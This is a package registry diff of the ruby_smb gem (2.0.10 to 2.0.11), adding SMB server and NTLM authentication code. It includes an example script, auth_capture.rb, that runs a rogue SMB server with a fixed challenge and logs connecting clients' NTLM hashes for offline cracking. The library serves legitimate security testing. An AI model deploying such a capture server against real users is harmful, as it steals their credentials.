ruby_smb 2.0.10 → 2.0.11
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- checksums.yaml.gz.sig +0 -0
- data/examples/auth_capture.rb +71 -0
- data/lib/ruby_smb/client/negotiation.rb +1 -1
- data/lib/ruby_smb/client.rb +9 -8
- data/lib/ruby_smb/dialect.rb +45 -0
- data/lib/ruby_smb/dispatcher/base.rb +1 -1
- data/lib/ruby_smb/gss/provider/authenticator.rb +42 -0
- data/lib/ruby_smb/gss/provider/ntlm.rb +303 -0
- data/lib/ruby_smb/gss/provider.rb +35 -0
- data/lib/ruby_smb/gss.rb +56 -63
- data/lib/ruby_smb/ntlm.rb +45 -0
- data/lib/ruby_smb/server/server_client/negotiation.rb +155 -0
- data/lib/ruby_smb/server/server_client/session_setup.rb +82 -0
- data/lib/ruby_smb/server/server_client.rb +163 -0
- data/lib/ruby_smb/server.rb +54 -0
- data/lib/ruby_smb/signing.rb +59 -0
- data/lib/ruby_smb/smb1/packet/negotiate_response.rb +11 -11
- data/lib/ruby_smb/smb1/packet/negotiate_response_extended.rb +1 -1
- data/lib/ruby_smb/smb1/packet/session_setup_request.rb +1 -1
- data/lib/ruby_smb/smb2/negotiate_context.rb +18 -2
- data/lib/ruby_smb/smb2/packet/negotiate_request.rb +9 -0
- data/lib/ruby_smb/smb2/packet/negotiate_response.rb +0 -1
- data/lib/ruby_smb/smb2/packet/session_setup_response.rb +2 -2
- data/lib/ruby_smb/smb2/packet/tree_connect_request.rb +1 -1
- data/lib/ruby_smb/smb2.rb +3 -1
- data/lib/ruby_smb/version.rb +1 -1
- data/lib/ruby_smb.rb +2 -1
- data/spec/lib/ruby_smb/client_spec.rb +7 -9
- data/spec/lib/ruby_smb/gss/provider/ntlm/account_spec.rb +32 -0
- data/spec/lib/ruby_smb/gss/provider/ntlm/authenticator_spec.rb +101 -0
- data/spec/lib/ruby_smb/gss/provider/ntlm/os_version_spec.rb +32 -0
- data/spec/lib/ruby_smb/gss/provider/ntlm_spec.rb +113 -0
- data/spec/lib/ruby_smb/server/server_client_spec.rb +156 -0
- data/spec/lib/ruby_smb/server_spec.rb +32 -0
- data/spec/lib/ruby_smb/smb2/negotiate_context_spec.rb +2 -2
- data.tar.gz.sig +0 -0
- metadata +25 -3
- metadata.gz.sig +0 -0
- data/lib/ruby_smb/client/signing.rb +0 -64
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA256:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: c45b986cea81d23700cf798535e234f058639645ff38416ca2caac32f4fd4958
|
4
|
+
data.tar.gz: 6c5efa5a6e195767262f63a3f49043e7abda4e11dc763bb83553a6507a9242fd
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: f6a54c8d0e8faf6d4ec317808ba077e01c470646e13b1b9c5b56c25f1fdc32bc101f137357112e6394c9111aae02d7bd47612f0f8f09226d1fdd9b595070a16a
|
7
|
+
data.tar.gz: 598e2c300856315be3d522ccce9b639f4159995b7c99595cd5cac1c167bea972f9d0cce380fa4da001bdf7c3d9515d1d23194780fd7de53355f968580d273103
|
checksums.yaml.gz.sig
CHANGED
Binary file
|
@@ -0,0 +1,71 @@
|
|
1
|
+
#!/usr/bin/ruby
|
2
|
+
|
3
|
+
require 'bundler/setup'
|
4
|
+
require 'ruby_smb'
|
5
|
+
require 'ruby_smb/gss/provider/ntlm'
|
6
|
+
|
7
|
+
# we just need *a* default encoding to handle the strings from the NTLM messages
|
8
|
+
Encoding.default_internal = 'UTF-8' if Encoding.default_internal.nil?
|
9
|
+
|
10
|
+
def bin_to_hex(s)
|
11
|
+
s.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join
|
12
|
+
end
|
13
|
+
|
14
|
+
# this is a custom NTLM provider that will log the challenge and responses for offline cracking action!
|
15
|
+
class HaxorNTLMProvider < RubySMB::Gss::Provider::NTLM
|
16
|
+
class Authenticator < RubySMB::Gss::Provider::NTLM::Authenticator
|
17
|
+
# override the NTLM type 3 process method to extract all of the valuable information
|
18
|
+
def process_ntlm_type3(type3_msg)
|
19
|
+
username = "#{type3_msg.domain.encode}\\#{type3_msg.user.encode}"
|
20
|
+
_, client = ::Socket::unpack_sockaddr_in(@server_client.getpeername)
|
21
|
+
|
22
|
+
hash_type = nil
|
23
|
+
hash = "#{type3_msg.user.encode}::#{type3_msg.domain.encode}"
|
24
|
+
|
25
|
+
case type3_msg.ntlm_version
|
26
|
+
when :ntlmv1
|
27
|
+
hash_type = 'NTLMv1-SSP'
|
28
|
+
hash << ":#{bin_to_hex(type3_msg.lm_response)}"
|
29
|
+
hash << ":#{bin_to_hex(type3_msg.ntlm_response)}"
|
30
|
+
hash << ":#{bin_to_hex(@server_challenge)}"
|
31
|
+
when :ntlmv2
|
32
|
+
hash_type = 'NTLMv2-SSP'
|
33
|
+
hash << ":#{bin_to_hex(@server_challenge)}"
|
34
|
+
# NTLMv2 responses consist of the proof string whose calculation also includes the additional response fields
|
35
|
+
hash << ":#{bin_to_hex(type3_msg.ntlm_response[0...16])}" # proof string
|
36
|
+
hash << ":#{bin_to_hex(type3_msg.ntlm_response[16.. -1])}" # additional response fields
|
37
|
+
end
|
38
|
+
|
39
|
+
unless hash_type.nil?
|
40
|
+
version = @server_client.metadialect.version_name
|
41
|
+
puts "[#{version}] #{hash_type} Client : #{client}"
|
42
|
+
puts "[#{version}] #{hash_type} Username : #{username}"
|
43
|
+
puts "[#{version}] #{hash_type} Hash : #{hash}"
|
44
|
+
end
|
45
|
+
|
46
|
+
WindowsError::NTStatus::STATUS_ACCESS_DENIED
|
47
|
+
end
|
48
|
+
end
|
49
|
+
|
50
|
+
def new_authenticator(server_client)
|
51
|
+
# build and return an instance that can process and track stateful information for a particular connection but
|
52
|
+
# that's backed by this particular provider
|
53
|
+
Authenticator.new(self, server_client)
|
54
|
+
end
|
55
|
+
|
56
|
+
# we're overriding the default challenge generation routine here as opposed to leaving it random (the default)
|
57
|
+
def generate_server_challenge(&block)
|
58
|
+
"\x11\x22\x33\x44\x55\x66\x77\x88"
|
59
|
+
end
|
60
|
+
end
|
61
|
+
|
62
|
+
# define a new server with the custom authentication provider
|
63
|
+
server = RubySMB::Server.new(
|
64
|
+
gss_provider: HaxorNTLMProvider.new
|
65
|
+
)
|
66
|
+
puts "server is running"
|
67
|
+
server.run do
|
68
|
+
puts "received connection"
|
69
|
+
# accept all of the connections and run forever
|
70
|
+
true
|
71
|
+
end
|
@@ -121,7 +121,7 @@ module RubySMB
|
|
121
121
|
'SMB1'
|
122
122
|
when RubySMB::SMB2::Packet::NegotiateResponse
|
123
123
|
self.smb1 = false
|
124
|
-
unless packet.dialect_revision.to_i ==
|
124
|
+
unless packet.dialect_revision.to_i == RubySMB::SMB2::SMB2_WILDCARD_REVISION
|
125
125
|
self.smb2 = packet.dialect_revision.to_i >= 0x0200 && packet.dialect_revision.to_i < 0x0300
|
126
126
|
self.smb3 = packet.dialect_revision.to_i >= 0x0300 && packet.dialect_revision.to_i < 0x0400
|
127
127
|
end
|
data/lib/ruby_smb/client.rb
CHANGED
@@ -2,18 +2,19 @@ module RubySMB
|
|
2
2
|
# Represents an SMB client capable of talking to SMB1 or SMB2 servers and handling
|
3
3
|
# all end-user client functionality.
|
4
4
|
class Client
|
5
|
+
require 'ruby_smb/ntlm'
|
6
|
+
require 'ruby_smb/signing'
|
5
7
|
require 'ruby_smb/client/negotiation'
|
6
8
|
require 'ruby_smb/client/authentication'
|
7
|
-
require 'ruby_smb/client/signing'
|
8
9
|
require 'ruby_smb/client/tree_connect'
|
9
10
|
require 'ruby_smb/client/echo'
|
10
11
|
require 'ruby_smb/client/utils'
|
11
12
|
require 'ruby_smb/client/winreg'
|
12
13
|
require 'ruby_smb/client/encryption'
|
13
14
|
|
15
|
+
include RubySMB::Signing
|
14
16
|
include RubySMB::Client::Negotiation
|
15
17
|
include RubySMB::Client::Authentication
|
16
|
-
include RubySMB::Client::Signing
|
17
18
|
include RubySMB::Client::TreeConnect
|
18
19
|
include RubySMB::Client::Echo
|
19
20
|
include RubySMB::Client::Utils
|
@@ -436,14 +437,14 @@ module RubySMB
|
|
436
437
|
when 'SMB1'
|
437
438
|
packet.smb_header.uid = self.user_id if self.user_id
|
438
439
|
packet.smb_header.pid_low = self.pid if self.pid
|
439
|
-
packet = smb1_sign(packet)
|
440
|
+
packet = smb1_sign(packet) if signing_required && !session_key.empty?
|
440
441
|
when 'SMB2'
|
441
442
|
packet = increment_smb_message_id(packet)
|
442
443
|
packet.smb2_header.session_id = session_id
|
443
|
-
unless packet.is_a?(RubySMB::SMB2::Packet::SessionSetupRequest)
|
444
|
-
if self.smb2
|
444
|
+
unless packet.is_a?(RubySMB::SMB2::Packet::SessionSetupRequest) || session_key.empty?
|
445
|
+
if self.smb2 && signing_required
|
445
446
|
packet = smb2_sign(packet)
|
446
|
-
elsif self.smb3
|
447
|
+
elsif self.smb3 && (signing_required || packet.is_a?(RubySMB::SMB2::Packet::TreeConnectRequest))
|
447
448
|
packet = smb3_sign(packet)
|
448
449
|
end
|
449
450
|
end
|
@@ -652,9 +653,9 @@ module RubySMB
|
|
652
653
|
def default_flags
|
653
654
|
negotiate_version_flag = 0x02000000
|
654
655
|
flags = Net::NTLM::Client::DEFAULT_FLAGS |
|
655
|
-
|
656
|
+
RubySMB::NTLM::NEGOTIATE_FLAGS[:TARGET_INFO] |
|
656
657
|
negotiate_version_flag ^
|
657
|
-
|
658
|
+
RubySMB::NTLM::NEGOTIATE_FLAGS[:OEM]
|
658
659
|
|
659
660
|
flags
|
660
661
|
end
|
@@ -0,0 +1,45 @@
|
|
1
|
+
module RubySMB
|
2
|
+
# Definitions that define metadata around a particular SMB dialect. This is useful for grouping dialects into a
|
3
|
+
# hierarchy as well as printing them as human readable strings with varying degrees of specificity.
|
4
|
+
module Dialect
|
5
|
+
# the order (taxonomic ranking) of the family, 2 and 3 are intentionally combined
|
6
|
+
ORDER_SMB1 = 'SMB1'.freeze
|
7
|
+
ORDER_SMB2 = 'SMB2'.freeze
|
8
|
+
|
9
|
+
# the family of the dialect
|
10
|
+
FAMILY_SMB1 = 'SMB 1'.freeze
|
11
|
+
FAMILY_SMB2 = 'SMB 2.x'.freeze
|
12
|
+
FAMILY_SMB3 = 'SMB 3.x'.freeze
|
13
|
+
|
14
|
+
# the major version of the dialect
|
15
|
+
VERSION_SMB1 = 'SMB v1'.freeze
|
16
|
+
VERSION_SMB2 = 'SMB v2'.freeze
|
17
|
+
VERSION_SMB3 = 'SMB v3'.freeze
|
18
|
+
|
19
|
+
# the names are meant to be human readable and may change in the future, use the #dialect, #order and #family
|
20
|
+
# attributes for any programmatic comparisons
|
21
|
+
Definition = Struct.new(:dialect, :order, :family, :version_name, :full_name) do
|
22
|
+
alias_method :short_name, :version_name
|
23
|
+
end
|
24
|
+
|
25
|
+
ALL = [
|
26
|
+
Definition.new('NT LM 0.12', ORDER_SMB1, FAMILY_SMB1, VERSION_SMB1, 'SMB v1 (NT LM 0.12)'.freeze),
|
27
|
+
Definition.new('0x0202', ORDER_SMB2, FAMILY_SMB2, VERSION_SMB2, 'SMB v2.0.2'.freeze),
|
28
|
+
Definition.new('0x0210', ORDER_SMB2, FAMILY_SMB2, VERSION_SMB2, 'SMB v2.1'.freeze),
|
29
|
+
Definition.new('0x02ff', ORDER_SMB2, FAMILY_SMB2, VERSION_SMB2, 'SMB 2.???'.freeze), # wildcard revision
|
30
|
+
Definition.new('0x0300', ORDER_SMB2, FAMILY_SMB3, VERSION_SMB3, 'SMB v3.0'.freeze),
|
31
|
+
Definition.new('0x0302', ORDER_SMB2, FAMILY_SMB3, VERSION_SMB3, 'SMB v3.0.2'.freeze),
|
32
|
+
Definition.new('0x0311', ORDER_SMB2, FAMILY_SMB3, VERSION_SMB3, 'SMB v3.1.1'.freeze)
|
33
|
+
].map { |definition| [definition.dialect, definition] }.to_h
|
34
|
+
|
35
|
+
#
|
36
|
+
# Retrieve a dialect definition. The definition contains metadata describing the particular dialect.
|
37
|
+
#
|
38
|
+
# @param [Integer, String] dialect the dialect to retrieve the definition for
|
39
|
+
# @return [Definition, nil] the definition if it was found
|
40
|
+
def self.[](dialect)
|
41
|
+
dialect = '0x%04x' % dialect if dialect.is_a? Integer
|
42
|
+
ALL[dialect]
|
43
|
+
end
|
44
|
+
end
|
45
|
+
end
|
@@ -9,7 +9,7 @@ module RubySMB
|
|
9
9
|
def nbss(packet)
|
10
10
|
nbss = RubySMB::Nbss::SessionHeader.new
|
11
11
|
nbss.session_packet_type = RubySMB::Nbss::SESSION_MESSAGE
|
12
|
-
nbss.stream_protocol_length = packet.do_num_bytes
|
12
|
+
nbss.stream_protocol_length = packet.do_num_bytes.to_i
|
13
13
|
nbss.to_binary_s
|
14
14
|
end
|
15
15
|
|
@@ -0,0 +1,42 @@
|
|
1
|
+
module RubySMB
|
2
|
+
module Gss
|
3
|
+
module Provider
|
4
|
+
module Authenticator
|
5
|
+
#
|
6
|
+
# The base class for a GSS provider's unique authenticator. This provides a common interface and is not usable
|
7
|
+
# on it's own. The provider-specific authentication logic is defined within this authenticator class which
|
8
|
+
# actually runs the authentication routine.
|
9
|
+
#
|
10
|
+
class Base
|
11
|
+
# @param [Provider::Base] provider the GSS provider that this instance is an authenticator for
|
12
|
+
# @param server_client the client instance that this will be an authenticator for
|
13
|
+
def initialize(provider, server_client)
|
14
|
+
@provider = provider
|
15
|
+
@server_client = server_client
|
16
|
+
@session_key = nil
|
17
|
+
reset!
|
18
|
+
end
|
19
|
+
|
20
|
+
#
|
21
|
+
# Process a GSS authentication buffer. If no buffer is specified, the request is assumed to be the first in
|
22
|
+
# the negotiation sequence.
|
23
|
+
#
|
24
|
+
# @param [String, nil] buffer the request GSS request buffer that should be processed
|
25
|
+
# @return [Gss::Provider::Result] the result of the processed GSS request
|
26
|
+
def process(request_buffer=nil)
|
27
|
+
raise NotImplementedError
|
28
|
+
end
|
29
|
+
|
30
|
+
#
|
31
|
+
# Reset the authenticator's state, wiping anything related to a partial or complete authentication process.
|
32
|
+
#
|
33
|
+
def reset!
|
34
|
+
@session_key = nil
|
35
|
+
end
|
36
|
+
|
37
|
+
attr_accessor :session_key
|
38
|
+
end
|
39
|
+
end
|
40
|
+
end
|
41
|
+
end
|
42
|
+
end
|
@@ -0,0 +1,303 @@
|
|
1
|
+
require 'ruby_smb/ntlm'
|
2
|
+
|
3
|
+
module RubySMB
|
4
|
+
module Gss
|
5
|
+
module Provider
|
6
|
+
#
|
7
|
+
# A GSS provider that authenticates clients via the NT LAN Manager (NTLM) Security Support Provider (NTLMSSP)
|
8
|
+
# protocol.
|
9
|
+
#
|
10
|
+
class NTLM < Base
|
11
|
+
include RubySMB::NTLM
|
12
|
+
|
13
|
+
# An account representing an identity for which this provider will accept authentication attempts.
|
14
|
+
Account = Struct.new(:username, :password, :domain) do
|
15
|
+
def to_s
|
16
|
+
"#{domain}\\#{username}"
|
17
|
+
end
|
18
|
+
end
|
19
|
+
|
20
|
+
class Authenticator < Authenticator::Base
|
21
|
+
def reset!
|
22
|
+
super
|
23
|
+
@server_challenge = nil
|
24
|
+
end
|
25
|
+
|
26
|
+
def process(request_buffer=nil)
|
27
|
+
if request_buffer.nil?
|
28
|
+
# this is only NTLMSSP (as opposed to SPNEGO + NTLMSSP)
|
29
|
+
buffer = OpenSSL::ASN1::ASN1Data.new([
|
30
|
+
Gss::OID_SPNEGO,
|
31
|
+
OpenSSL::ASN1::ASN1Data.new([
|
32
|
+
OpenSSL::ASN1::Sequence.new([
|
33
|
+
OpenSSL::ASN1::ASN1Data.new([
|
34
|
+
OpenSSL::ASN1::Sequence.new([
|
35
|
+
Gss::OID_NTLMSSP
|
36
|
+
])
|
37
|
+
], 0, :CONTEXT_SPECIFIC),
|
38
|
+
OpenSSL::ASN1::ASN1Data.new([
|
39
|
+
OpenSSL::ASN1::ASN1Data.new([
|
40
|
+
OpenSSL::ASN1::ASN1Data.new([
|
41
|
+
OpenSSL::ASN1::GeneralString.new('not_defined_in_RFC4178@please_ignore')
|
42
|
+
], 0, :CONTEXT_SPECIFIC)
|
43
|
+
], 16, :UNIVERSAL)
|
44
|
+
], 3, :CONTEXT_SPECIFIC)
|
45
|
+
])
|
46
|
+
], 0, :CONTEXT_SPECIFIC)
|
47
|
+
], 0, :APPLICATION).to_der
|
48
|
+
return Result.new(buffer, WindowsError::NTStatus::STATUS_SUCCESS)
|
49
|
+
end
|
50
|
+
|
51
|
+
begin
|
52
|
+
gss_api = OpenSSL::ASN1.decode(request_buffer)
|
53
|
+
rescue OpenSSL::ASN1::ASN1Error
|
54
|
+
return
|
55
|
+
end
|
56
|
+
|
57
|
+
if gss_api&.tag == 0 && gss_api&.tag_class == :APPLICATION
|
58
|
+
result = process_gss_type1(gss_api)
|
59
|
+
elsif gss_api&.tag == 1 && gss_api&.tag_class == :CONTEXT_SPECIFIC
|
60
|
+
result = process_gss_type3(gss_api)
|
61
|
+
end
|
62
|
+
|
63
|
+
result
|
64
|
+
end
|
65
|
+
|
66
|
+
#
|
67
|
+
# Process the NTLM type 1 message and build a type 2 response message.
|
68
|
+
#
|
69
|
+
# @param [Net::NTLM::Message::Type1] type1_msg the NTLM type 1 message received by the client that should be
|
70
|
+
# processed
|
71
|
+
# @return [Net::NTLM::Message::Type2] the NTLM type 2 response message with which to reply to the client
|
72
|
+
def process_ntlm_type1(type1_msg)
|
73
|
+
type2_msg = Net::NTLM::Message::Type2.new.tap do |msg|
|
74
|
+
msg.target_name = 'LOCALHOST'.encode('UTF-16LE').b
|
75
|
+
msg.flag = 0
|
76
|
+
%i{ KEY56 KEY128 KEY_EXCHANGE UNICODE TARGET_INFO VERSION_INFO }.each do |flag|
|
77
|
+
msg.flag |= NTLM::NEGOTIATE_FLAGS.fetch(flag)
|
78
|
+
end
|
79
|
+
|
80
|
+
@server_challenge = @provider.generate_server_challenge
|
81
|
+
msg.challenge = @server_challenge.unpack1('Q<') # 64-bit unsigned, little endian (uint64_t)
|
82
|
+
target_info = Net::NTLM::TargetInfo.new('')
|
83
|
+
target_info.av_pairs.merge!({
|
84
|
+
Net::NTLM::TargetInfo::MSV_AV_NB_DOMAIN_NAME => @provider.netbios_domain.encode('UTF-16LE').b,
|
85
|
+
Net::NTLM::TargetInfo::MSV_AV_NB_COMPUTER_NAME => @provider.netbios_hostname.encode('UTF-16LE').b,
|
86
|
+
Net::NTLM::TargetInfo::MSV_AV_DNS_DOMAIN_NAME => @provider.dns_domain.encode('UTF-16LE').b,
|
87
|
+
Net::NTLM::TargetInfo::MSV_AV_DNS_COMPUTER_NAME => @provider.dns_hostname.encode('UTF-16LE').b,
|
88
|
+
Net::NTLM::TargetInfo::MSV_AV_TIMESTAMP => [(Time.now.to_i + Net::NTLM::TIME_OFFSET) * Field::FileTime::NS_MULTIPLIER].pack('Q')
|
89
|
+
})
|
90
|
+
msg.target_info = target_info.to_s
|
91
|
+
msg.enable(:target_info)
|
92
|
+
msg.context = 0
|
93
|
+
msg.enable(:context)
|
94
|
+
msg.os_version = NTLM::OSVersion.new(major: 6, minor: 3).to_binary_s
|
95
|
+
msg.enable(:os_version)
|
96
|
+
end
|
97
|
+
|
98
|
+
type2_msg
|
99
|
+
end
|
100
|
+
|
101
|
+
#
|
102
|
+
# Process the NTLM type 3 message and either accept or reject the authentication attempt.
|
103
|
+
#
|
104
|
+
# @param [Net::NTLM::Message::Type3] type3_msg the NTLM type 3 message received by the client that should be
|
105
|
+
# processed
|
106
|
+
# @return [WindowsError::ErrorCode] an NT Status error code representing the operations outcome where
|
107
|
+
# STATUS_SUCCESS is a successful authentication attempt and anything else is a failure
|
108
|
+
def process_ntlm_type3(type3_msg)
|
109
|
+
if type3_msg.user == '' && type3_msg.domain == ''
|
110
|
+
if @provider.allow_anonymous
|
111
|
+
return WindowsError::NTStatus::STATUS_SUCCESS
|
112
|
+
end
|
113
|
+
|
114
|
+
return WindowsError::NTStatus::STATUS_LOGON_FAILURE
|
115
|
+
end
|
116
|
+
|
117
|
+
account = @provider.get_account(
|
118
|
+
type3_msg.user,
|
119
|
+
domain: type3_msg.domain
|
120
|
+
)
|
121
|
+
return WindowsError::NTStatus::STATUS_LOGON_FAILURE if account.nil?
|
122
|
+
|
123
|
+
matches = false
|
124
|
+
case type3_msg.ntlm_version
|
125
|
+
when :ntlmv1
|
126
|
+
my_ntlm_response = Net::NTLM::ntlm_response(
|
127
|
+
ntlm_hash: Net::NTLM::ntlm_hash(account.password.encode('UTF-16LE'), unicode: true),
|
128
|
+
challenge: @server_challenge
|
129
|
+
)
|
130
|
+
matches = my_ntlm_response == type3_msg.ntlm_response
|
131
|
+
when :ntlmv2
|
132
|
+
digest = OpenSSL::Digest::MD5.new
|
133
|
+
their_nt_proof_str = type3_msg.ntlm_response[0...digest.digest_length]
|
134
|
+
their_blob = type3_msg.ntlm_response[digest.digest_length..-1]
|
135
|
+
|
136
|
+
ntlmv2_hash = Net::NTLM.ntlmv2_hash(
|
137
|
+
account.username.encode('UTF-16LE'),
|
138
|
+
account.password.encode('UTF-16LE'),
|
139
|
+
type3_msg.domain.encode('UTF-16LE'), # don't use the account domain because of the special '.' value
|
140
|
+
{client_challenge: their_blob[16...24], unicode: true}
|
141
|
+
)
|
142
|
+
|
143
|
+
my_nt_proof_str = OpenSSL::HMAC.digest(OpenSSL::Digest::MD5.new, ntlmv2_hash, @server_challenge + their_blob)
|
144
|
+
matches = my_nt_proof_str == their_nt_proof_str
|
145
|
+
if matches
|
146
|
+
user_session_key = OpenSSL::HMAC.digest(OpenSSL::Digest::MD5.new, ntlmv2_hash, my_nt_proof_str)
|
147
|
+
if type3_msg.flag & NTLM::NEGOTIATE_FLAGS[:KEY_EXCHANGE] == NTLM::NEGOTIATE_FLAGS[:KEY_EXCHANGE] && type3_msg.session_key.length == 16
|
148
|
+
rc4 = OpenSSL::Cipher.new('rc4')
|
149
|
+
rc4.decrypt
|
150
|
+
rc4.key = user_session_key
|
151
|
+
@session_key = rc4.update type3_msg.session_key
|
152
|
+
@session_key << rc4.final
|
153
|
+
else
|
154
|
+
@session_key = user_session_key
|
155
|
+
end
|
156
|
+
end
|
157
|
+
else
|
158
|
+
# the only other value Net::NTLM will return for this is ntlm_session
|
159
|
+
raise NotImplementedError, "authentication via ntlm version #{type3_msg.ntlm_version} is not supported"
|
160
|
+
end
|
161
|
+
|
162
|
+
return WindowsError::NTStatus::STATUS_LOGON_FAILURE unless matches
|
163
|
+
|
164
|
+
WindowsError::NTStatus::STATUS_SUCCESS
|
165
|
+
end
|
166
|
+
|
167
|
+
attr_accessor :server_challenge
|
168
|
+
|
169
|
+
private
|
170
|
+
|
171
|
+
# take the GSS blob, extract the NTLM type 1 message and pass it to the process method to build the response
|
172
|
+
# which is then put back into a new GSS reply-blob
|
173
|
+
def process_gss_type1(gss_api)
|
174
|
+
unless Gss.asn1dig(gss_api, 1, 0, 0, 0, 0)&.value == Gss::OID_NTLMSSP.value
|
175
|
+
return
|
176
|
+
end
|
177
|
+
|
178
|
+
raw_type1_msg = Gss.asn1dig(gss_api, 1, 0, 1, 0)&.value
|
179
|
+
return unless raw_type1_msg
|
180
|
+
|
181
|
+
type1_msg = Net::NTLM::Message.parse(raw_type1_msg)
|
182
|
+
if type1_msg.flag & NTLM::NEGOTIATE_FLAGS[:UNICODE] == NTLM::NEGOTIATE_FLAGS[:UNICODE]
|
183
|
+
type1_msg.domain.force_encoding('UTF-16LE')
|
184
|
+
type1_msg.workstation.force_encoding('UTF-16LE')
|
185
|
+
end
|
186
|
+
type2_msg = process_ntlm_type1(type1_msg)
|
187
|
+
|
188
|
+
Result.new(Gss.gss_type2(type2_msg.serialize), WindowsError::NTStatus::STATUS_MORE_PROCESSING_REQUIRED)
|
189
|
+
end
|
190
|
+
|
191
|
+
# take the GSS blob, extract the NTLM type 3 message and pass it to the process method to build the response
|
192
|
+
# which is then put back into a new GSS reply-blob
|
193
|
+
def process_gss_type3(gss_api)
|
194
|
+
neg_token_init = Hash[RubySMB::Gss.asn1dig(gss_api, 0).value.map { |obj| [obj.tag, obj.value[0].value] }]
|
195
|
+
raw_type3_msg = neg_token_init[2]
|
196
|
+
|
197
|
+
type3_msg = Net::NTLM::Message.parse(raw_type3_msg)
|
198
|
+
if type3_msg.flag & NTLM::NEGOTIATE_FLAGS[:UNICODE] == NTLM::NEGOTIATE_FLAGS[:UNICODE]
|
199
|
+
type3_msg.domain.force_encoding('UTF-16LE')
|
200
|
+
type3_msg.user.force_encoding('UTF-16LE')
|
201
|
+
type3_msg.workstation.force_encoding('UTF-16LE')
|
202
|
+
end
|
203
|
+
|
204
|
+
nt_status = process_ntlm_type3(type3_msg)
|
205
|
+
buffer = identity = nil
|
206
|
+
|
207
|
+
case nt_status
|
208
|
+
when WindowsError::NTStatus::STATUS_SUCCESS
|
209
|
+
buffer = OpenSSL::ASN1::ASN1Data.new([
|
210
|
+
OpenSSL::ASN1::Sequence.new([
|
211
|
+
OpenSSL::ASN1::ASN1Data.new([
|
212
|
+
OpenSSL::ASN1::Enumerated.new(OpenSSL::BN.new(0)),
|
213
|
+
], 0, :CONTEXT_SPECIFIC)
|
214
|
+
])
|
215
|
+
], 1, :CONTEXT_SPECIFIC).to_der
|
216
|
+
|
217
|
+
account = @provider.get_account(
|
218
|
+
type3_msg.user,
|
219
|
+
domain: type3_msg.domain
|
220
|
+
)
|
221
|
+
if account.nil?
|
222
|
+
if @provider.allow_anonymous
|
223
|
+
identity = IDENTITY_ANONYMOUS
|
224
|
+
end
|
225
|
+
else
|
226
|
+
identity = account.to_s
|
227
|
+
end
|
228
|
+
end
|
229
|
+
|
230
|
+
Result.new(buffer, nt_status, identity)
|
231
|
+
end
|
232
|
+
end
|
233
|
+
|
234
|
+
# @param [Boolean] allow_anonymous whether or not to allow anonymous authentication attempts
|
235
|
+
# @param [String] default_domain the default domain to use for authentication, unless specified 'WORKGROUP' will
|
236
|
+
# be used
|
237
|
+
def initialize(allow_anonymous: false, default_domain: 'WORKGROUP')
|
238
|
+
raise ArgumentError, 'Must specify a default domain' unless default_domain
|
239
|
+
|
240
|
+
@allow_anonymous = allow_anonymous
|
241
|
+
@default_domain = default_domain
|
242
|
+
@accounts = []
|
243
|
+
@generate_server_challenge = -> { SecureRandom.bytes(8) }
|
244
|
+
|
245
|
+
@dns_domain = @netbios_domain = 'LOCALDOMAIN'
|
246
|
+
@dns_hostname = @netbios_hostname = 'LOCALHOST'
|
247
|
+
end
|
248
|
+
|
249
|
+
#
|
250
|
+
# Generate the 8-byte server challenge. If a block is specified, it's used as the challenge generation routine
|
251
|
+
# and should return an 8-byte value.
|
252
|
+
#
|
253
|
+
# @return [String] an 8-byte challenge value
|
254
|
+
def generate_server_challenge(&block)
|
255
|
+
if block.nil?
|
256
|
+
@generate_server_challenge.call
|
257
|
+
else
|
258
|
+
@generate_server_challenge = block
|
259
|
+
end
|
260
|
+
end
|
261
|
+
|
262
|
+
def new_authenticator(server_client)
|
263
|
+
# build and return an instance that can process and track stateful information for a particular connection but
|
264
|
+
# that's backed by this particular provider
|
265
|
+
Authenticator.new(self, server_client)
|
266
|
+
end
|
267
|
+
|
268
|
+
#
|
269
|
+
# Lookup and return an account based on the username and optionally, the domain. If no domain is specified or
|
270
|
+
# or it is the special value '.', the default domain will be used. The username and domain values are case
|
271
|
+
# insensitive.
|
272
|
+
#
|
273
|
+
# @param [String] username the username of the account to fetch.
|
274
|
+
# @param [String, nil] domain the domain in which the account to fetch exists.
|
275
|
+
# @return [Account, nil] the account if it was found
|
276
|
+
def get_account(username, domain: nil)
|
277
|
+
# the username and password values should use the native encoding for the comparison in the #find operation
|
278
|
+
username = username.downcase
|
279
|
+
domain = @default_domain if domain.nil? || domain == '.'.encode(domain.encoding)
|
280
|
+
domain = domain.downcase
|
281
|
+
@accounts.find { |account| account.username.encode(username.encoding).downcase == username && account.domain.encode(domain.encoding).downcase == domain }
|
282
|
+
end
|
283
|
+
|
284
|
+
#
|
285
|
+
# Add an account to the database.
|
286
|
+
#
|
287
|
+
# @param [String] username the username of the account to add
|
288
|
+
# @param [String] password either the plaintext password or the NTLM hash of the account to add
|
289
|
+
# @param [String] domain the domain of the account to add, if not specified, the @default_domain will be used
|
290
|
+
def put_account(username, password, domain: nil)
|
291
|
+
domain = @default_domain if domain.nil? || domain == '.'.encode(domain.encoding)
|
292
|
+
@accounts << Account.new(username, password, domain)
|
293
|
+
end
|
294
|
+
|
295
|
+
#
|
296
|
+
# The default domain value to use for accounts which do not have one specified or use the special '.' value.
|
297
|
+
attr_reader :default_domain
|
298
|
+
|
299
|
+
attr_accessor :dns_domain, :dns_hostname, :netbios_domain, :netbios_hostname
|
300
|
+
end
|
301
|
+
end
|
302
|
+
end
|
303
|
+
end
|